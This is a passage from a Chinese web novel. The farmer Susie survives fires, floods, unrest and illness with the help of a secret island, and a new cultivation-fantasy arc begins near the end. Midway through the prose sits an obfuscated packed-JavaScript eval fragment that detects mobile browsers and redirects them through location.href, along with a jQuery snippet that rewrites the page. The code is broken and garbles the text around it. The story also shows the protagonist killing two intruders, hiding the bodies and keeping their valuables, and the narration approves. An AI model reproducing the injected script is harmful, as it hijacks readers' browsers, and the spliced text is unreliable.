但还是出事情了,不是她这里,是上去几个山头的位置,因为地势高,夜晚火光冲天一眼就可以看到。她赶紧打火警电话,接线生说已经出警了。她没听到消防车的声音,估计是从其他山路上去。不过,该做的防范还是要有吧?她打开几年不开的水泵试验还能不能用,再连上买来后就很少用过的可接续长水管,检查按照一个个接头。还好水管因为放在阴凉的山洞里没有裂口,当时买的接头也是真不锈钢。她正在应急灯下认真接水管,消防车声音突然出现。 一抬头就吓一跳,怎么有烟?!再分辨下,是地势高的上风口吹来的。但也把苏茜吓个半死。隔壁林场的人也在紧急应对。他们更惨,距离起火点更近不说,地方还大、林子还密。 等拖着近八百米的水管慢慢走在两个地块交界地带时,苏茜突然发现,这片区域因为都是矮松树,被她优先砍了啊! 唯一的问题是地面枯枝。但那不是问题。她一手水管一手推车水桶,天亮前就让交界处的地面一片水泽。隔壁没人理会她的折腾,因为火势在入侵隔壁的时候被地主和消防员联手扑灭了。但上面其他林子情况不太好,虽然没烧死人,但财产损失能否都有保险赔付是个问题。 苏茜沉默地将边界的树沿地面都砍了,连树根都用找了半天才买到的精钢铲子给挖掉,地面的枯枝和少量泥土全部运走做土肥,又在与其他两个林农场交界的地方密密地种上滨藜,有的是种子,有的是移栽过来的。不管到底有没有用,起码比松树和松针地面让人放心。 好些个林农场主见她这样操作,来跟她聊过天又去问别人。有的人决定不予理会,有的跟进,还有的直接在交界处清出类似的隔离带。 松树根当然不存在浪费的可能,锯小以后放壁炉,特别能烧,尤其适合湿润的冬季。 如果不是下暴雨就更好了。 雨太大了。苏茜不但没去摆摊,还盯着网络和电视。四天都是大雨,今早更是暴雨,未来三天也是大到暴雨。她的这块地虽然各种问题,但和外面的山路有个明显的高度差,与上方隔壁地块之间的界限其实是条小沟,去年对方地主不知道什么原因还自己出面挖深了些。理论上只要不是大面积山洪暴发,她不会受影响。 可也是“理论上”。实际情况都有可能,比如树木倒了之类。 在新闻记者说州里可能中午就发出警告之后,苏茜就将值点钱的电器和物品甚至多余的松树根都收到岛上,然后去大棚收种植箱。连箱带菜全部收走。 感谢自己穿的是羊毛袜子、塑胶靴、冲锋裤和防暴雨级冲锋衣。不然在华氏50度的暴雨天在外面干活非感冒不可。哦,小货车也一起收走,电闸拉上,天然气、自来水阀门都关掉,几十大筐土肥包括种子等等全部收走。 行了,就这样吧! 她回了拥挤的岛上,在木屋里享受烧柴炉、土豆炖牛肉与外面的和风细雨。这个木屋不少年头了。当初建房手艺太差,是真的就是三角形搭起来接近庇护所的玩意,高度宽度都很寒碜,倒是外面贴的吸音棉非常有效,压根不会有雨滴打在木头上的噪音。 可以深入研究一个人在没有吊车的条件下如何建个木质桁架小屋,或者买个工具屋套餐安装下,实在不行在外面加个帐篷?露营车就算了,又贵又不实用,原来的那辆还在空地上日晒雨淋的。 最终,苏茜还是打算自己买预制板材安装。内部面积二十平米的“小”屋,搭起来耗费的力气和时间比搭一个乐高星球大战模型大得多,可那是一间屋子吔。花的钱也就是三年的健身卡加几节私教课。另外,她真的不需要私教,只用平时有规律地干活,偶然打打鸟练练准头。 “砰——” 正在地上跳着觅食的麻雀应声栽倒。苏茜将保险关掉,塞进衣服下的木仓套,打着双人大伞走出廊道里的“瞭望口”,用两片大树叶包住麻雀,两根草打两个结,然后整个扔进河里。 河水暴涨得不对劲,所以这两天她一直会出来晃晃,看看情况和来电显示。 但没想过在河边看到……尸.体?然后尸.体继续被冲到下游去了,飞快消失在视线内。苏茜在考虑要不要打电话报警,因为她甚至不确定那是不是尸.体。最终还是决定报告下,说看见疑似尸.体的东西被水冲到哪里的水域,应该直奔海湾里去了。 晚上的新闻里说有两人死亡两人失踪,有目击者称其中一名失踪者可能已死亡。不过此时苏茜面无表情地看着窗下聚流成小河的水,最终将冰箱里的食材清理后,将其和电视、沙发、桌椅餐厨具卫生纸等等能转移的都弄到山洞里,连大棚都踩在没过脚踝的水里连夜拆走了。 然后回木屋清洗更衣。 一觉醒来都十点了,其实她只睡了五个小时。 不放心地回来一看,雨停了,水退得差不多,但屋子错位了。整体倒没有散架,而后建的卫生间居然好好的还在。 苏茜第一个念头是自己居然还有付不少垃圾清运费? 第二个念头是:不,能把钢板卖给收破烂的。 但,收废金属的电话是多少?她试着用手机打电话给运营商,没想到居然真的得到了一个电话号码! 她试着电话过去,说自己有一个轻钢小屋废掉了,问对方收不收,对方居然高高兴兴地说明天开了货车来,还问需不需要电锯。 其实她需要的是一个房子。另外,得在保险公司来之后才能拆房子。 两天后保险公司的人才来。他们已经忙了一天了,傍晚才拐到她这里。 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最终苏茜买了一栋需要打基地的预制房、虽然比模块房便宜但仍然要交税,以及一大堆建材供她DIY一两个工场小屋,全部加起来二万五。工期也挺短,比说好的四个月少了一周。 而苏茜看起来就在露营车里住了一周,艰难又勤劳地继续种菜。最后几个工人还得到了她送的水果作为感谢费。一份综合水果,以及可以生啃的西红柿、黄瓜和既能生吃又能装饰的生菜,每套零售价加起来超过二十块。 新家面积不大,但设施齐全,四面有窗,厨房客厅是开放式的,有干湿分离的卫生间,甚至两个地漏可以安放浴缸和不装玻璃罩子的淋浴挡水条,有趣的是卫生间和客厅各有一个洗脸池的位置,甚至进门口的地方可以加个储物杂物间,连壁炉烟道都按苏茜的要求打了两个,但没准备天然气取暖设施。 小而齐全。 服务也不错,唯一不好的是房子本身的质量不怎么样。 “谁知道再来一次山洪,或者是山火,我的房子又没了。如果建得太好保险不给我多赔付怎么办?!”她的保费今年还是原价,但明年会翻倍,但因为还是同一家保险公司,所以房屋因各种原因但不包括投标人故意毁损的赔付标的提高到了五万。 所以她不但没有装淋浴间,连浴桶都是那种老家造的塑料制,水龙头花洒等等统统买的便宜货自己安装。更不要说自己抹的水泥壁炉,全套不超过六百块的简易家具,以及电扇甚至丝棉小棉袄和棉被。除了建材和木头,房子里大部分都是老家出品或品牌,包括景德镇瓷器——瓷器可以放很久很久不会腐坏——感谢阿里和联邦快递,加起来也比她在店里买一百多块一套的英国瓷奶茶壶杯和两百多一条的意大利丝绸披肩便宜。老家现在的的价格还没有到与国际接轨,所以她可以多买十几套密封起来,直到老家那里涨价十倍的时候再拿出来用。 最后,空调也省了,因为商家拒绝她自己安装。 * * * 岛上山洞附近,多了一条塑木走廊,以及与三角木屋连通的花园木屋。与没有地基的三角木屋不同,花园木屋有浅浅的地桩,面积也更大,储物箱小床变成了储物箱大床。另外,由于大量用过的土肥与少许燃煤渣的混合物对土壤的改善,岛上稍微有了些灌木,储水池水缸水桶水渠和滤水池等等也都彻底清理过,连用捡来的种植箱里种给自己吃的蔬果长势都还可以。 “下午好,克莱尔,随便挑。价格表都在电子秤那里。草本篮子一块一个。草莓不要直接吃,因为虽然没有农药,但是可能有寄生虫和细菌,一定要用边上的盐水浸泡五分钟,冲洗以后再吃。” “好的!” 现在苏茜在冬季的时候只会在周日上午出门摆摊。周边顾客,尤其是民宿主人都会自己在上午来采摘最新鲜的各类蔬菜水果,尤其是她自己在车道和大棚之间用煤渣铺了可以停车的一块空地。 新顾客有时还会被塞一脑门的亚硝酸盐和磷酸二氢钾之类名词,好在大家看得懂检测箱子的异常红色,否则检测里的缩略语即使旁边有详表有些也读不懂。克莱尔这样周六上午要工作,下午来买一周菜的职业人士倒不多,因为这样忙碌的人一般没时间自己做饭。 等克莱尔付好账走人,也到了苏茜自己做饭的时间。她的红酒牛腩还用小火炖着,是用的另一个取暖大棚里的煤炉,她过去看了下,汤汁差不多,再下胡萝卜、菇类、南瓜、西红柿,最后是甘蓝,简单的晚饭就可以吃了。 接完电话,她戴上帽子、拎着锅冒雨往屋子里走。华氏60度的雨天并不舒适,但比20度的天气要好太多。何况室内燃着柴火。 客厅里的是她自己造的壁炉,费木头,但特别暖和。卧室里用的是之前用过的铁炉,进风口调得小些、几公斤木头烧一夜无压力。不过她更喜欢回岛上,因为不但夜间温度更高些,安全感也完全不一样。这大片半开放式的林地就她一个人住一间小屋,很难说会不会睡着的时候碰到入室抢.劫,到时拿木仓都来不及。只是回岛上的时候她一般会将露营车也带进去。 不过在花园木屋里睡到凌晨的时候苏茜突然醒过来,用个马桶还是觉得不对劲,就穿好夹棉冲锋衣和加绒冲锋裤、雨靴,又,拿了三十发弹匣的.22,闪出小岛,落地自家土地上的卫生间廊道。 见鬼!有车有人,还是一男一女。这是第二次了! 她怒冲冲地脱掉靴子,光着脚对着那俩翻箱倒柜的家伙每人两木仓。没有抑制器的音响稍微有些大,可这是十几英亩的私人土地,凌晨的时候即使有路过的人听到木仓声也不会做多余的事。 她瞪着两具尸.体。心里闪过一堆法律条文,可再怎么说还是有漏洞,比如为什么不一开始就开木仓或者报警,为什么第一发随便打身体部位、第二发精准地对着额头?这是故意杀人,是否追究完全看检察官心情,是不是要赔钱要看这对男女的家属有没有钱请个厉害的律师…… 思索半分钟,她还是将尸.体弄回岛上。找了件跟那女的差不多款式的衣服,戴了帽子口罩,开了他们的车出去,在路口将车也弄回岛上。 接着是将人先扔海里,再回来清理血迹和脚印,清洁整理房间,找回弹壳也扔下自己的垃圾海滩。还好她只在大棚装了摄像头,路口房子都没装,不然还要多一道工序。 天亮后弄点吃的继续接待客户。直到下午她才有空去看看战利品。 车子一般,年头也久了。直接开进海里前,苏茜将后备箱和座椅统统检查一遍。 除了未注册的热.武.器,还有那两人身上的三柄匕.首——杀掉他们灭掉痕迹是件正确的事,因为即使抓住了送警,过个三两年就又出来,搞不好还会报复谋杀她!要知道本州没死刑的,作多大的恶都不会死!也因此犯罪的一年比一年多,哦,全国都是这样,哪怕冲进人群扫射,只要不对着警察开木仓、都不会被判死刑,大不了破产一分钱不赔还能吃几年免费饭。但如果有人要回击打伤杀人犯,很可能要赔对方钱,搞不好还要坐牢。 证件、卡、衣服之类统统烧成残骸扔进海里。 一份文件让她简直想破口大骂:这两个是刚放出来的瘾君子!她换上防割伤手套继续整理,在放倒的后座底下发现一个包。打开,是保险单之类,还不少现金,几件首饰。没有手机。 首饰目测是纯金和真宝石,不少的现金指超过一万块。在她之前,这对混蛋可能已经作案过不止一回了。 自己这是为民除害。 现金不能立刻拿出来用,首饰得融掉弄成其他样子。但总体上值得她大半夜没睡并且浪费四颗子.弹。还有,今年和明年都不需要拿出一笔钱放到岛上作战略储备了,因为纸币存放时间是黄金宝石的零头的零头。 之后,果然没有任何人问起过那两个人。 8. 开局一荒岛(八) “……我们将持续关注骚乱后续……” 新闻频道女主播一脸专业。几十公里外的市区,警方和一群抗议的人正在对峙,商店被砸、车辆被烧、行人被抢。还有几个人被流弹打伤。 苏茜默默地将木仓套挂在冲锋衣下,弹匣装满,继续工作。这段时间各种乱七八糟的冲突越发升级,大家早就忘了源头是什么。连带的城里各色人等的情绪都调动起来,越来越多的小偷和抢劫犯喊着他们也不知道什么意思的口号砸开橱窗抢劫东西,甚至还有冲进富有住宅区的,不过后者下场并不好。当然大家最不想看到的是号称精神病的家伙乱开木仓,到时候连坐牢都不用,只要去“治疗”几年就行了。 尤其是隔壁市有个集市出现了莫名其妙的木仓声,即使没有伤亡,其他集市的买卖人数大幅减少。来农场直接采摘的人反而多了,因此苏茜都没时间去摆摊。 好在采购种子的地方在郊区,根本没人过去——抢不到东西和现金,当然不去。 没人对苏茜开的旧小货车感兴趣,可能司机的钱包和车子加起来都没有几百块。至于货,没看见上面蹩脚地画着水果和蔬菜吗?更不会有人对拖挂在小货车后的一车气味难以描述的东西多看一眼。 “哦!什么味道?!”一名看上去并不那么安分守己的家伙正好在下风口,被某种不太妙的味道冲得想呕吐。 “应该是牛粪之类。”另一个人只是皱了皱眉。他毕竟出生于牧场,对这种味道还是可以接受的。 “呕——我们换一条道吧。” “……” 并不知道自己可能拯救了身后某位车主的苏茜,一路载着各种物资回农场。为了种好那么多蔬菜水果,林子里的那些枯枝烂叶并不够。她这次买足了自己调配营养液的无机物,完全符合有机无毒的那些,连同土肥所需的牛粪,满满当当的。其他的枯枝等等得她去帮忙打扫清理才有。这场骚乱让不少临时工的岗位出现空缺,甚至有一家林场被前员工破坏了些设施和田地,所以苏茜还临时赚来了些新鲜的肉、建材、二手家具和少许现金。 …… “自己弄!我这里在做肥料,有机的。”苏茜朝没有预约就上门的顾客招呼道。要不是种地更适合她的荒岛,其实她自己也不是那么喜欢与有机肥打交道。 “好!”对方自己采摘了好几样蔬菜和一袋子草莓,自己称好。艰难地算清楚钱,发现再加一点点就是整二十块了,于是就按照计算器边的价格提示拿了几颗草莓凑整。最后还饶有兴致地远远围观了下什么叫“有机”。哦,那味道确实不是特别美妙,所以主人家夸张地戴了个防毒面罩,全身雨衣雨裤手套长筒雨靴,手里是个亮闪闪的不锈钢长柄细铲。 “下次来我会打电话的,拜!”赶紧跑。谢天谢地这里不“绿色养殖”禽畜,不会出现鸡啊羊啊狗啊到处拉撒,不然下脚都难受。 最近大家因为罕见的大雪而出门少了,集市也暂时关停,食品燃料电力都在涨价。只有苏茜这里依旧现场自己摘,不涨价,但也不送货。所以不少顾客都是自己开车过来买菜——部分价格比超市还便宜一点,而且还新鲜有机,不买足一周的是傻瓜。如果不是小农场门口的这条山路有清理雪,没有防滑链的人就得有麻烦。 “很多人都不舍得开得太暖和。”克莱尔烘着手说道。她一口气买了一百块的菜和水果,讨口热饮暖和身子不过分。 “好在我这样的自己有木头可以烧。”苏茜用虹吸壶煮了咖啡过来。“山上海拔越高雪越厚,我简直担心又要来一场山洪。” “哦!上次我没有碰到停水停电,希望这次也不会发生。”涨点价就涨点吧,大家也习惯了,也就是把温度调低些省点电费。 “建议你囤积一些饮用水,还有车载马桶和配套的固化除臭剂,不然停水后上厕所是个麻烦事。” 克莱尔失去了语言功能。 “我之前在得城的时候就碰到过一次,水深一米多,我卫生间里不可能存太多水,楼下邻居们包括房东太太也没有,好在我送了几个马桶给他们,再用个垃圾袋就好了。” “水深一米,那时垃圾桶也没了吧?” “对。垃圾袋从窗口直接扔到水里。” 克莱尔瞪着咖啡,愣是喝不下去。 “虽然这里可怕的水灾极少,但谁也不知道是不是?而且囤着总是有用的,以后可以放在车后座,如果碰到大堵车也可以应急,批条应急毯遮一下就行了。” “虽然……你的建议太好了。我记得网上曾经看到过这种商品。” “是的。一套也就是二三十吧,可以用一周。对了,还有速食面,这种非常适合应急,别管油炸还是非油炸,有没有防腐剂,不饿肚子才是最重要的,可以放一年不坏。” “这个我知道。偶然没东西吃的时候我也会吃,开水一泡,几分钟就可以吃了,还可以加些午餐肉罐头和蔬菜。”克莱尔还挺能接受这类亚洲“特产”的。 苏茜表示,罐头加泡面的吃法很有创意,她只吃过泡面加冻干蔬菜。最后她帮克莱尔将菜和水果都搬上车,还附送了两个老家产竹编篮子,算是另类折扣,这种耗材她硬着头皮买了一个20尺集装箱,三年都没用完。 雪又下了两天才停,积雪不算深。苏茜每天早上都要将连通山路的小道上的雪清扫掉,但不用除雪盐,因为费钱且对土壤有害。 化雪的天气更冷,化掉的雪水与突如其来的冬雨合并在一起从山上冲下才叫可怕。这次苏茜已经“熟门熟路”了,将所有东西都理一理,人和车都回岛上暂避。 花园小屋里温度湿度都是65-67度,相当舒适。小型汽油发电机不能用电烤箱,但小型洗衣机和冰柜台灯电脑之类问题不大,除了没有网络和电视信号。还有,她在夏季囤的煤和木头足够多,不需要管涨价问题。 唯一不便的是现在只有冷冻肉类可以吃。 还有些海鲜。 岛上似乎四季都能钓到鱼虾,可惜数量和种类都少,她得在不下雨的天气离开岛钓几个小时才有能吃一两顿的收获。赶海的话,如果天天去就不可能一直碰到蟹之类的大家伙,生蚝牡蛎的“补充”速度也赶不上。 睡着前,苏茜想的是:自己无法长时间在岛上生存。 …… 山洪给房子带来了些损伤,但新造的房子还算牢固,没有倒塌散架之类的问题,回来打扫下就能重新住人!没啥树消失,却有不少倒伏,田地也平平整整的看不出曾经是大棚。这次保险公司只赔了一万块田地树木蔬菜水果的损失,第二年的保费居然没涨。理赔员和好几个邻居都来问预制房屋的联系方式,还是必须带了可以栓应急小船的铁把手——苏茜宣称她在最可怕的那一晚是坐在小船上的,好在飘起来的时间不长。 有部分地区停水停电停网,居民裹着被子取暖的照片视频上了报纸电视。但苏茜这里居然没啥事,网络都能正常用。 经过考虑,她又买了几个旧集装箱放在地势最高的地方,还平整了地面:一个比较新的全封闭箱子作为储藏室,一个作为LED灯照明水培大棚,两个改装了门窗可以凑合住人、其中一个放在岛上,正好将保费都用完还搭进去两千多改造和设备费用。都是不交税的非永久性建筑,很适合她。 开春时新种的树苗都是成材时间短的杨树、松树、杉树品种,但想要卖出价钱大概得等她退休或者转手卖掉的时候。说实话,原始资源提供者真的赚不到什么钱。小型农场林场牧场的主人有一部分就是弄个家园罢了。 比方说现在她就在梯子上给“自住”的集装箱侧面打洞,好安装铁炉的烟管。河边的大盆里正用碱水泡着铸铁烟管。那水黑得让人不忍直视。打完洞,戴上手套,拎起烟管在河水里漂洗。河水不能灌溉不能喝,偶然还有尸.体飘过……但粗糙洗涤物品是没问题的。 炉子本身倒无所谓,刮掉烟灰,高温蒸汽处理下,就直接装进集装箱。这里是作为庇护所弄的,除了监控,只有八个收纳木箱拼成的木板床和水桶,净水片和滤水装置、消毒清洁、压缩饼干、应急毯、简易马桶等等掩人耳目的的应急装备也都是塞在收纳箱里的。 倒是水培大棚是苏茜精心打理的地方。而且种的都是她喜欢吃的,比如樱桃西红柿、黑莓、黄瓜、甜瓜、柑橘、甜椒、薄荷、西芹、四季豆等等,而草莓在土培大棚已经有不少,她一年四季都可以吃到。另外,小白菜、小葱之类也种了不少。三个月后,整个集装箱满满当当、五颜六色,看得顾客目瞪口呆。 可惜,其中有好几种比如哈密瓜,培育失败,枯烂的枝叶都做了肥料,营养液也直接稀释在浇灌的雨水里浇土培大棚去了。这个过程中成功和失败的经验简直可以出书了! 苏茜一点点记录到电脑里,还打印出来后塑封。甚至有些还直接放在大棚里供感兴趣的人看。大部分看客哈哈了一会,回头就将能买的东西统统买走。如果不是苏茜自己抢得快,有时自己都没得吃。 * * * 松木在燃烧的时候总有一种特别的木香味,虽然会有点烟,但也正是这种烟火气和暖暖的热量让人觉得这就是家了。 夏天的时候苏茜病过一场,发了两天高烧。她就靠热绿茶、小米粥和退烧药过来了。冬天又病一场,这次确诊是新的病毒,她只是低热,吃了半瓶之前去药店买的药才缓过来。 感谢自己宁愿过期浪费也要囤药的习惯! 白粥实在是吃不下了,但牛肉生菜粥还是可以的。岛上的集装箱仓库里放的木头虽然不能彻底干燥,但好歹烧起来挺容易,自家农场新鲜砍的树则是放在壁炉边烘着,一边还提供了点湿气。 今年的冬雨特别大。她看着网络和新闻里的天气预报和预警消息,叹口气,开始收拾东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976280|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些年时不时有山火和山洪警报,只是一次也没成真,但不妨碍她养成了在最短时间内把东西带走减少损失的“好习惯”。另外,秋天的时候她网购了一大堆农业用品,通过价格适中的国际物流送到她家。虽然老家生产的东西越来越贵,但品种越来越丰富、服务也越来越周到。 在把一些东西运到庇护所的时候,她想的是不知道这次能赔付多少保费。 嗯,庇护所太简陋了,她抬脚回了岛上,生火,换上干爽绒衣裤,吃个药,盖上厚棉被,休息养病。 洪水来了又走了,这次多停留了一天,造成不小损失——都是别人家的。 五天后,苏茜的病基本好了,只是还有些咳嗽,水位也完全恢复正常。戴着N95口罩的理赔员在她忍不住咳了几声后只是按照指点看了一圈,将单子放在桌上就立刻跑了,全程保持一米五的安全距离。 苏茜摇头。好吧,她也是与对方保持距离。 她只有普通医用口罩存货,不过加个透明面罩和雨衣,应对顾客就完全没问题了。何况大家现在都学会了自己挑选、称重、“凑整”,似乎算术水平也上去了,哦,扫码付款也没问题,全程保持距离。 不能不说,大量人病倒影响了很多人的生计。连诊所医院里的医护都因为反复生病还没得加薪而越来越暴躁和虚弱。 所以说,住在宽阔的农场虽然远离城市和诊所超市商店,但不需要与一堆人挤时不时出问题的电梯或是堵在道路上动弹不得,以及一死一大片的养老院……另外,干农活不比花钱健身差,还能赚钱。她应该能做到退休年龄,那时就到了社保和寿险发挥作用的时候。 …… 两箱土和营养液渣倒在树苗边上。 回去农场洗手,吃午饭,吃保健品,炎热的天气里合衣在木制长沙发上睡半小时,起来干活,顺便做生意。 山下城市偶然出现的木仓声并不会传到农场的林间。 市区高达华氏100度,这里才88度,再配合整齐的林子,嗯,奇奇怪怪的大棚和蚊子…… “苏茜,你的农场卖吗?” “不卖,因为卖了也买不起西城的小公寓。城里工作没那么容易找,而且吃菜和取暖都要自己付钱。” “……也是。”这个农场和房子都太小,改造的成本也不小,所以他不乐意多花钱,但金额少了对方就无法安生立命了。 “我倒是建议不要买山区林场,除非是买一座山的那种。还是有水塘有森林的平原,不用很大,几十英亩都够了,夏天可以钓鱼,冬天可以烤火。我们这里的水是半海水半淡水,不适合钓鱼,水也不能直接用。” “啊,你们不是用河里的水灌溉吗?” “不能。不然地会变成盐碱地。” “天哪!得用自来水?!” “是。冬季可以利用雨水,但雨水太脏,需要过滤后才能用。”岛上的雨水是很不错的,嘻嘻,还能在本地漫长无雨的夏天晒海水,蒸发得到的水虽然少但相当纯净,能直接作为水培的基地液,更适合自己饮用。不过对外,她晒的是河水。“夏天其实有个省钱费力的方法,就是用咸的河水罩上塑料布,放在太阳下蒸发得到一些纯水,水质不比自来水差。唯一不好的是数量太少。” “真是,聪明的做法。”开农场种蔬菜那么穷啊?不过想想水费电费和营养液之类的成本……小农场主如果不自己上阵干农活应该是赚不到钱的,而家里也没有有钱到买个农场来度假的程度。 苏茜其实并不是那么介意卖农场这件事,她介意的是价格。之前她只知道小镇上的房价,她的表兄卖掉达亚娜的房子时才四万多——他想卖她个高价,被她骂了一顿后两人老死不相往来——现在山下那个窃案劫案天天有的塔城,别说独栋,市区一室一厅、电梯经常停摆的老旧公寓要近二十万,西城这个面积起码三十万还不太碰得到卖房的。至于说租房,完全不考虑,因为她的社保养老金估计只能付得起房租和面包钱,培根都吃不起,鸡蛋得去排队领救济。 真要到那种程度,她宁愿给自己一颗子.弹! 对了,自己还有谷歌的股票呢!前些年在配售的时候干脆又买了点,现在已经多少钱一股来着?最近科技概念不好,要不卖了吧! 苏茜查了下股票和一些新闻,总觉得有些不安心,干脆把股票卖了。可在证券公司网站上折腾了半天还是不行,最后不得不去市区办理。最终核算下来,相当于小镇上达亚娜的房子换成塔城的,一样面积。 这笔钱要交税的,即使本州没有个税也一样。所以她扭头就去买了带医疗和年金性质的寿险——如果她提前退休,可以先“贷款”领寿险,到了年龄再全额领超出交税最低基数不多的养老金,这样税收和收益应该是最划算的。她一个穷人做不到有钱人弄家族基金,但给自己合理省点税还是能做到的。 9. 修士烦恼多(一) 请问修士要吃东西吗? 答:要吃要喝要拉要撒。 请问修士需要工作吗? 答:当然要工作挣灵珠。 请问修士间会打架吗? 答:没有不打架的修士。 请问修士受欺负咋办? 答:凉拌,或者办回去。 …… 苏茜早就过了惊诧期。种地这活她还算是比较熟练的,或者说是非常能接受的工作。远近这一片都是她家的地。本地“亩”的面积比英亩大很多,所以她家十口人虽然只有“区区”十六亩中下等山地田,但家宅周围四个小山坡都是她家的。 “大力啊,你家阿明可惜了,要放在几百年前,三灵根肯定能进宗门。” “在家也挺好。你看之前的那些金丹大能,现在不也在种地,听说时不时有金丹去打秋风。” “金丹种的东西肯定跟我们种的不一样!据说都是灵植,真正的灵植!” “所以才有那么多人去啊!”还有去偷的,有的得手了,有的被杀了。 “可如今即使种了灵植也没什么用吧?还能练什么晋阶的丹药不成?”城里城外好几个人找到过丹药,但服用之后都没晋阶,还有人因为丹药来路被杀了。 “城主不是都说了,根本不存在吃了就能晋阶的丹药。” “城主以前还是元婴大修士呢!唉……” “是啊,有他在,我们家还能安安稳稳活着算是不错了。听说外头不少地方打得不像样,最后都只剩下凡人了。” “凡人也没什么不好。你看我家,父母岳父母俱在,子女双全。而我舅兄,就是为了晋阶,没了,孩子都没留下一个,妻子也跑了。” “唉,凡人好啊!仙人,是不会再有了,知道却永远做不到,还不如不知道。” “……” “……” 苏茜已经在除远处的杂草——这些老掉牙的内容懒得再听。四个孩子,一对壮年夫妇和两对中年夫妇,一边修炼,一边种植含有少量灵气的作物供应修炼和填肚子,并且拿出去交换所需,日子还能过下去。 说是中年夫妇,其实已经快七十了,但看上去也就是四十出头的样子,目测四位“老人”还能活五十年。他们毕竟算是修士,哪怕无法筑基,也能强体延寿。 “很久以前,应该是很久很久,修士们都是用辟谷丹的。不过我们现在没条件,所以小茜和小越也要开始自己种粮食了呢。”大姐苏明摸着孪生弟妹的头,然后一点不含糊地教他们两个翻地播种。 田地里的杂草几年前就都是他们负责除掉的,包括浇水,现在轮到真正的种地了。两小资质悟性在现今这样的环境里算很不错了,十岁前就引气入体修炼。相比之下,二弟苏勇十二岁才学会修炼、现在快二十了仍然是练气初期,居然跟十五岁的弟弟妹妹们一样,而一身力气甚至还不如最羸弱的外祖母,跟他的名字完全相反,实在让苏明气不过。 边上的苏越瞅了眼挥锄头翻土的妹妹苏茜。很小的时候他还能欺负下家里最小的孩子,可后来,对方打起来毫不顾忌自己受伤的狠劲让他从此以后就成了家里食物链的低端。他家实在太奇怪了,除了外祖母,女的各个凶悍无比,干活一把好手、打架决不后退,虽然家里人的武.器都是祖父和父亲打制的,但用得最好的都是他母亲和大姐,甚至以后搞不好他妹妹还能更悍?他想着,突然打了个寒战,抬头张望时就看到苏茜在前方抛来鄙视的眼神。 啊,完蛋了,他又成为没用的东西了!他立刻挥锄,拼命赶进度。终于在快天黑的时候种完整整半亩地。 半亩地啊,几千颗种子!他中午只吃了一个饭团、喝了一小桶凉水,不停地干了快五个时辰,快要累死了!最可怕的是那水还是妹妹用水系法术凝结出来的!对了,她还用火给自己的饭团加热!这家伙怎么有时间学那么多的?! “回去吃饭了。”苏茜用小法术洗干净手,然后在孪生兄弟胸口又插一刀,“你不是有学习土系法术吗?干嘛不用?用了的话你至少可以种一亩地。” “……”苏越气得眼前发黑,但很清楚如果自己敢迁怒,妹妹都不需要用法术,一顿老拳就能教训他了。真是的,既然生了他,干嘛还多生一个妹妹啊?! 晚饭是菜饼。家里的饮食极其简单,就是自种的几样菜和换着种的三种谷物主粮,而且份量都不算大。 “今天小越和小茜辛苦了,肯定饿了,多吃点。累的话晚上修炼后就早点睡吧,不要再练习法术了。”给一大家子做饭的都是祖母,因为她当过帮厨,经常换着法子烹饪。她也是全家唯一将苏越的地位放在苏茜之前的人。其他人都是说小茜和小越,只有她会说小越和小茜——相信几年后她也会“改”过来的。 “我还是要练习土系法术。今天如果多用法术,我干活会更快。”苏越咽下嘴里的食物后道。 “我要练习木系法术。种地需要用到。”苏茜对这类含有灵气的食物对能量的加持作用以及对生长养分的需求很感兴趣,比如说今天种下的是两年半生谷子,间距就比之前的一年生要大得多,用水似乎也更多。 “!你什么时候学的木系法术?” “你不也学了?” “可那是辅助除草的啊!” “册子倒数第二篇就是种植的。你是不是后面的法术都没看过?” “……” 方圆万里,或是更远的距离吧,最后一个宗门也在一百多年前关门了。但带来的好处是原来都由门派和大势力控制的功法现在大部分都成了书店里随便可以买到的,纸书。听说以前还有玉简之类,是用神识“看”的,但因为材料越发少而极少有人用,反正哪一年开始突然有印书的作坊印了大批的修炼和法术的书籍,经过大家证明有用,于是连凡人家里都买了,还让孩子去城主办的学校学习修士语言等等,就指望能培养孩子修炼,哪怕没本事用法术,强身健体也是好的。 “你们明年想去学六艺吗?”真正的一家之主苏英女问道。她目前是家里唯一在外“工作”的人,最小的两个孩子长到五岁后就一直在城主府里做女侍卫,一个月才回来一次,一般除了灵珠还会给老人和孩子带些镇上都见不到的东西。小的时候苏越最爱在小伙伴中显摆这些,被苏明揍过之后就没有乱说话过了。 “我想学符术。”苏茜直接回道。六艺是个统称,完全不是她曾经看过的小说里讲的什么丹符器阵,而是城主开的十几门实用技艺培训,学费极低;学得最好的为城主府工作,差些的在各个店铺里找活干,最差的就是回家吃自己。医术是其中的一项,同时包括治病和制药,且修士凡人都看,但种植灵植这些却是归到农科里的;符术也是一项,但不包括符材制作,制作在造物那边。 “我要学武技!”苏越立刻跟上。武技是最受欢迎的一项,分很多门不同的课程,连凡人都能学比如箭矢、刀柄制作之类,而武.器制造归到武技而非造物。父亲苏力和祖父苏成都学了这门手艺,可惜天赋和修为都不行,打造的大刀只有家里人用,女主人苏英女用的可是城主府里发的好刀,最终他们成了镇上的铁匠、木匠兼建筑工。 “行,我会帮你们直接报名的。”苏英女根本不问原因,只是点头。两个小家伙才十五,但已经能用法术,不说百里挑一,十里挑一还是配得上的,尤其是小女儿,学什么都快。要不是她要学的东西太多,可能修为已经超过孪生兄弟了。 对了,修士们最爱用的武.器是大刀,厚重且能附上法术的,而不是小说里的飞剑。能让剑飞起来杀人,甚至用剑气的,都是金丹及以上。而那些人在如今的环境里,除非是抢夺要紧资源,基本都不会与人动手,连御气飞行这种大量消耗灵力的情况都很罕见,因为金丹修士如果耗光灵力,可能需要一天一夜的修炼才能补回来,因此甚至比练气修士用光灵力还要危险! * * * 练习半个时辰,修炼一个时辰,睡觉两个时辰,早上起来用个茅厕再修炼一个时辰,然后洗漱吃早饭——就是包着菜的饭团,吃几个,再带同样数量当午饭。大家去地里干活时,已经是辰正。 